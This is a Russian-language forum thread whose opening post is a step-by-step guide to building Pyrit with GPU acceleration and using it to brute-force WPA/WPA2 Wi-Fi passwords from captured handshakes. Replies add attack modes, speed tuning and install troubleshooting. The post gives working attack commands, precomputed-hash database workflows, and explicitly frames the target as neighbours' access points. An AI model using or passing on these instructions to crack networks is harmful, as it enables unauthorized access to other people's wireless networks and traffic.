Автор: Machine. При копировании на другие ресурсы использовать копирайт. Сегодня я расскажу и покажу вам как можно использовать всю мощность ваших видеокарт для перебора паролей к Wi-Fi. Как-то не комильфо в наше время использовать только процессорные мощности под эти задачи (aircrack-ng), когда в 80% компьютеров есть видеокарта. Поэтому разумно использовать всю потенциальную мощность ваших систем. А именно, речь пойдет о замечательной программе pyrit. Немного о программе: Pyrit позволяет создавать огромные базы данных, для вычислений WPA/WPA2-PSK аутентификации. Используя вычислительную мощность многоядерных и других платформ через ATI-Stream, Nvidia CUDA и OpenCL, в настоящее время, безусловно, самая мощная атака против одной из наиболее часто используемых в мире безопасности протоколов. WPA/WPA2-PSK является подмножеством стандарта IEEE 802.11 WPA/WPA2, что усложняет распределение ключей и аутентификации клиента путем присвоения каждому участвующему Pre-Shared Key. Это главный ключ получается из пароля, который пользователю необходимо предварительно настроить, например, на своем ноутбуке и точке доступа. Когда ноутбук создает соединение с точкой доступа, новый ключ сессии происходит от мастер-ключа для шифрования и аутентификации."Ярлык" использования одного мастер-ключа, а не для отдельных пользовательских ключей облегчает развертывание WPA/WPA2-защищенных сетей для дома и малого офиса в использовании, за счет принятия протокола уязвимы для брутфорса, что позволяет в конечном итоге раскрыть пароль, который защищает сети. Дополнительную информации см. эту статью в блоге проекта. В чем профит? Сравните количество pmk/s на aircrack-ng и pyrit: Разумно заметить, что все действия проводились в ubuntu 10.04 R2 x86_64 с видеокартой Ati R6950 Twin Frozr III. (Т.е. все справедливо для любых ubuntu-подобных систем, в частности для backtrack 5, с минимальными различиями для 32 и 64 битными системами). Установка Список необходимых программ: 1. AMD driver 11.6 2. AMD APP SDK 2.4 http://orwell.fiit.stuba.sk/~nou/amd-app_2.4_amd64.deb тырк 2 3. Pyrit Code: svn checkout http://pyrit.googlecode.com/svn/trunk/ pyrit_svn 4. Calpp++ тырк 1.Установка драйвера: Code: chmod +x ati-driver-installer-11-5-x86.x86_64.run sudo ./ati-driver-installer-11-5-x86.x86_64.run sudo reboot 2.Установка AMD APP SDK 2.4: Code: cp /home/user/Downloads/AMD-APP-SDK-v2.4-lnx64.tgz /home/user cd /home/user tar -xvzf AMD-APP-SDK-v2.4-lnx64.tgz gedit ~/.bashrс Внизу этого файла добавляем следующие строки: export AMDAPPSDKROOT export AMDAPPSDKSAMPLESROOT export AMDAPPSDKROOT=/home/user/AMD-APP-SDK-v2.4-lnx64 export AMDAPPSDKSAMPLESROOT=/home/user/AMD-APP-SDK-v2.4-lnx64/samples export LD_LIBRARY_PATH=$AMDAPPSDKROOT/lib/x86:$AMDAPPSDKROOT/lib/x86_x64:$LD_LIBRARY_PATH ! Поменяйте /user/ на свое имя пользователя Разумно заметить, что выше приведенный вариант работает для систем любой разрядности. Code: sudo logout 3.Регистрируем icd-registration: Code: tar xfz $AMDAPPSDKROOT/icd-registration.tgz sudo cp $AMDAPPSDKROOT/etc /etc ВАЖНО! В некоторых англоязычных руководствах описана установка обеих технологий, которые используют карты Ati для взаимодействия непосредственно с карточкой, это OpenCL которая морально и физически устарела для этого дела, и Calpp с библиотеками libboost, которую мы и будем использовать. 4.Установка Calpp: Code: sudo apt-get install libboost1.40-all-dev cmake tar -xvzf calpp-0.90.tar.gz cd calpp-0.90 sudo gedit CMakeLists.txt Исправляем FIND_LIBRARY на следующие значения: FIND_LIBRARY( LIB_ATICALCL aticalcl PATHS "/home/user/AMD-APP-SDK-v2.4-lnx64/lib/x86_64/" ) FIND_LIBRARY( LIB_ATICALRT aticalrt PATHS "/home/user/AMD-APP-SDK-v2.4-lnx64/lib/x86_64/" ) FIND_PATH( LIB_ATICAL_INCLUDE NAMES cal.h calcl.h PATHS "/home/user/AMD-APP-SDK-v2.4-lnx64/include/CAL" ) Code: sudo cmake . sudo make install 5.Установка pyrit: Code: sudo apt-get install g++ python-dev zlib1g-dev libssl-dev python-scapy libpcap0.8 libpcap0.8-dev libpcap-dev svn checkout http://pyrit.googlecode.com/svn/trunk/ pyrit_svn cd /pyrit_svn/pyrit sudo python setup.py build install cd .. cd cpyrit_calpp sudo python setup.py build install На этом установка закончена. Проверяем правильность установки: Code: pyrit selftest Использование 1. Смотрим доступные ядра процессора/видеокарт: Code: pyrit list_cores 2. Запускаем оценочный тест: Code: pyrit benchmark вывод (количество pmk/s естевственно будет зависеть от вашей видеокарты): #1: 'CAL++ Device #1 'ATI CYPRESS'': 82426.3 PMKs/s (RTT 2.4) #2: 'CPU-Core (SSE2)': 643.5 PMKs/s (RTT 3.0) #3: 'CPU-Core (SSE2)': 655.1 PMKs/s (RTT 3.0) #4: 'CPU-Core (SSE2)': 691.0 PMKs/s (RTT 2.9) #5: 'Network-Clients': 0.0 PMKs/s (RTT 0.0) Разумно заметить, что 1 видеокарта заменяет 1 ядро процессора, т.е. если у вас 2 и более карт, либо карта двухчиповая, то вывод будет таким: #1: 'CAL++ Device #1 'ATI CYPRESS'': 82426.3 PMKs/s (RTT 2.4) #2: 'CAL++ Device #2 'ATI JUNIPER'': 41805.7 PMKs/s (RTT 2.6) #3: 'CPU-Core (SSE2)': 655.1 PMKs/s (RTT 3.0) #4: 'CPU-Core (SSE2)': 691.0 PMKs/s (RTT 2.9) #5: 'Network-Clients': 0.0 PMKs/s (RTT 0.0) Далее все приведенные действия основываются на том, у вас уже есть .cap файл с перехваченным handshake'ом. ВАЖНО! В pyrit'е можно создавать целые базы прекомпилированных хешей для подбора паролей. Есть 2 варианта хранения и использования этих баз: Вариант 1 - хранение базы в скрытой домашней папке пользователя. Я его называю мобильным, т.е. берется файл с 1 миллионом часто встречающихся паролей, после чего к нему добавляются любые essid'ы для быстрой проверки (1 миллион слов + 1 essid на моей карте это примерно минута времени). Плюсы: Файл с паролями залил 1 раз и забыл (можно заливать сколько угодно, но НЕжелательно) Любое количество essid'ов с любыми именами Маленькие затраты по времени Минусы: При использовании словарей более 20 миллионов и хотя бы 10 разных essid'ов время тратится значительно больше. Вывод - плюсы плавно перетекают в минусы и наоборот. От себя замечу, что это идеальный вариант при наличии пробивного словаря до 1 миллиона слов, который позволит вам чекать разные .cap файлы с большой скоростью. Пример использования: Code: pyrit -i /путь/до/файла/с/паролями/пароли.тхт import_passwords pyrit -r cap-01.cap analyze pyrit -r cap-01.cap -b 00:11:22:33:44:55 attack_batch либо pyrit -r cap-01.cap attack_batch Вариант 2 - хранение базы в любой указанной папке пользователя. Это более основательный подход к делу. Позволяет создать базу для конкретных essid'ов и конкретным числом паролей, т.е. берется файл с 100 миллионами паролей, после чего к нему добавляются любые essid'ы с уникальными именами. После чего база компилируется и привязывается к конкретным essid'ам которые вы в нее залили. После компиляции скорость увеличивается в 5-7 раз. Отличный вариант скажете вы, и будете правы, но ложка дектя конечно же есть подвох заключен во времени компиляции, которые естевственно зависит от кол-ва паролей и essid'ов и составляет продолжительно время. Плюсы: Допустим 1 база на 10 уникальных essid'ов может использоваться для любых точек доступа при условии что имя точки совпадает с тем, что находится в базе. Т.е. если у двух ваших соседей имя точки доступа dlink, но естевственно разные mac-адреса, это НЕ помешает вам перебирать их по своей базе без необходится создания новой базы. Скорость Огромная скорость Сделал 1 базу на самые часто встречающиеся essid'ы и чекай их за минимальное время в любых !!! количествах. Минусы: Время компилирования Занимает много места на жестком диске. Вывод - сухие факты про мою базу: 850 миллионов слов, 24 essid'а, 32 часа компилирования, 650.000 pmk/s перебор по базе, вес 240 gb. Естевственно при меньшем кол-ве паролей и essid'ов затраты по времени уменьшаются прямопропорционально. Стоит это того или нет, каждый решает сам. Пример использования: Code: pyrit -u file:///путь/до/файла/где/будет/база.db -i /путь/до/файла/с/паролями/пароли.тхт import_passwords pyrit -u file:///путь/до/файла/где/будет/база.db -e linksys create_essid pyrit -u file:///путь/до/файла/где/будет/база.db eval pyrit -u file:///путь/до/файла/где/будет/база.db batch pyrit -u file:///путь/до/файла/где/будет/база.db eval pyrit -u file:///путь/до/файла/где/будет/база.db -r /путь/до/файла/с/cap/output-01.cap attack_db Заключение Для тех кто постоянно/проффесионально занимается подбором паролей к Wi-Fi наличие подобных программ существенно облегчает жизнь. Пару слов про аналоги - это программа commview for wifi , сделана под винду, я ее в глаза не видел и не трогал, потому что не пользуюсь виндой. Она, конечно, платная (500$ профит). Ссылки по теме: pyrit Замеры скорости перебора на Вашем компьютере Вопросы по commview здесь НЕ обсуждаются (только сравнение). Вопросы не по теме будут караться. Machine. 495260250
время компиляцыи убило насмерть 10 гигов компилировало более 3 часов + не видит видеокарту (но дрова встали 11/8 версия) добавлено в карту раздела
Прошу помочь Устанавливал так : 1. # svn checkout http://pyrit.googlecode.com/svn/trunk/ pyrit_svn 2. # sudo apt-get install libssl-dev # sudo apt-get install scapy # sudo apt-get install python-dev 3. # cd /pyrit_svn/pyrit # sudo python setup.py build # sudo python setup.py install 4. 4.1# http://developer.nvidia.com/cuda-toolkit-32-downloads 4.2# cd to /pyrit_svn/cpyrit_cuda 4.3 #sudo python setup.py build 4.4 # sudo python setup.py install На шаге : 4.3 # ssudo python setup.py build выдало следующее : oot@bt:~/pyrit_svn/cpyrit_cuda# sudo python setup.py build The CUDA compiler and headers required to build kernel were not found. Trying to continue anyway... running build running build_ext /bin/sh: nvcc: command not found None Failed to execute command 'nvcc -V' Traceback (most recent call last): File "setup.py", line 175, in <module> setup(**setup_args) File "/usr/lib/python2.6/distutils/core.py", line 152, in setup dist.run_commands() File "/usr/lib/python2.6/distutils/dist.py", line 975, in run_commands self.run_command(cmd) File "/usr/lib/python2.6/distutils/dist.py", line 995, in run_command cmd_obj.run() File "/usr/lib/python2.6/distutils/command/build.py", line 135, in run self.run_command(cmd_name) File "/usr/lib/python2.6/distutils/cmd.py", line 333, in run_command self.distribution.run_command(command) File "/usr/lib/python2.6/distutils/dist.py", line 995, in run_command cmd_obj.run() File "setup.py", line 82, in run raise SystemError("Nvidia's CUDA-compiler 'nvcc' can't be " \ SystemError: Nvidia's CUDA-compiler 'nvcc' can't be found. root@bt:~/pyrit_svn/cpyrit_cuda# Гугл не помог =( запутал еще сильнее . . Установлено BT5 , видюха NVIDIA GTS 250 (стоят дрова NVIDIA-Linux-x86-275.09.07.run )
Вот тут хедеры не встали: The CUDA compiler and headers required to build kernel were not found. Trying to continue anyway... Просто я с cuda дело не имел, кури тему на сайте пирита в разделе issuses
На BackTrack 5 вообще никаких проблем не было с pyrit + cuda Библиотеки нужные ставишь, dev-пакеты, компилишь pyriy_cuda, потом pyrit =) Спасибо за статью
root@dupd0m-Satellite-A300:/home# python setup.py build python: can't open file 'setup.py': [Errno 2] No such file or directory в чем проблема помогите?
Добавлю пару слов о режимах атаки pyrit: attack_passthrough - атака по словарю из файла (путь к файлу словаря задается ключом -i). при такой атаке вычисляемые PMK не сохраняются на диск, идет только проверка подошел пароль или нет. pyrit показывает реальную скорость GPU. attack_db - атака только по предварительно вычесленным радужным таблицам (rainbow tables). GPU не задействуется, скорость атаки зависит от производительности центрального процессора и диска, а так же от формата базы данных pyrit (file, sqlite, mysql). самая быстрая атака - на хороших машинах скорость легко превышает 2М PMK/s (!) attack_batch - комбинированная атака, использует (при наличии) предварительно рассчитанные таблицы, при отстуствии задействует GPU и сохраняет данные в базу данных для дальнейшего использования. скорость демонстрируемая pyrit может быть меньше реальной скорости GPU т.к. требуется оверхед для сохранения PMKs в базу данных. batch - просто расчет заданных ESSID в радужные таблицы для дальнешего использования. eval - показать состояние базы данных (число паролей в БД и состояние радужных таблиц) import_passwords - импортировать пароли из файла в БД с проверкой уникальности (медленно) import_unique_passwords - импортировать заведомо уникальные пароли в БД (быстро, но забота о уникальности паролей лежит на генераторе) Надеюсь будет полезно.
Несколько слов об оптимизации скорости pyrit. Для многих пользователей pyrit - черный ящик, который выдает какие-то цифры и иногда пароли Этой заметкой я хочу помочь страждущим разобраться с оптимизацией своей системы для повышения скорости перебора с использованием pyrit. 1. Оценку скорости нужно проводить только в режиме attack_passthrough и желательно с приличным (1-2Гб) словарем. Встроенная оценка по команде pyrit benchmark всегда немного завышает результат, атаки attack_batch будут давать большой разброс показаний в плюс или минус в зависимости от того, был ли уже посчитан текущий ESSID, от скорости диска, типа базы данных 2. Если у вас в системе несколько GPU - отключите CrossFire (у NVIDIA это SLI). CrossFire балансирует нагрузку между GPU что сильно снижает суммарную производительность системы. Отключение CrossFire: aticonfig --adapter=all --cf=off после этого необходимо перезапустить Х-сервер. 3. Если у вас карта ATI (AMD) используйте CAL++ и свежую версию pyrit из svn. CAL++ дает значительный выигрыш по скорости (до 30%) над OpenCL на адаптерах 5ххх и 6ххх серий. 4. Отключите Hyperthreading. Несмотря на большее число "виртуальных" ядер в режиме Hyperthreading суммарная производительность pyrit только снизится. Особенно опасны ситуации когда pyrit будет пытаться считать на ядре, предназначенном для "кормления" GPU данными - снижение производительности неизбежно! Для систем с мощными видеокартами (100-150К PMK/s) можно вообще отключить возможность расчетов на CPU. 5. Установите параметр workunit_size в конфиге pyrit (обычно ~/.pyrit/config) в размере двойной скорости вашей видеокарты. По умолчанию там стоит 75000 что может быть маловато для быстрых карт. 6. Следите за температурой GPU. Если она приближается к 90С - обеспечьте лучшее охлаждение железа. Выполнение всех этих пунктов позволило мне получить 155К PMK/s на стоковом HD 6990 без разгона (изначально "из коробки" было 80-90К). Ну и немного оффтопика - oclHashcat-plus-0.06 с ключом --gpu-loops 4096 обгоняет pyrit в моей конфигурации и выдает 166К PMK/s, но через 10-15 минут работы вылетает с перегревом GPU. Для длительного использования приходится задавать --gpu-loops 2048 что дает в результате те же 150-155К и приемлемую температуру GPU 88-89C.
подскажите пож а через виртуальную машину будет видна видео карточка? я все сделал вроде правильно но выдает только это 111@bt:~$ pyrit list_cores Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3+ The following cores seem available... #1: 'CPU-Core (SSE2)' 111@bt:~$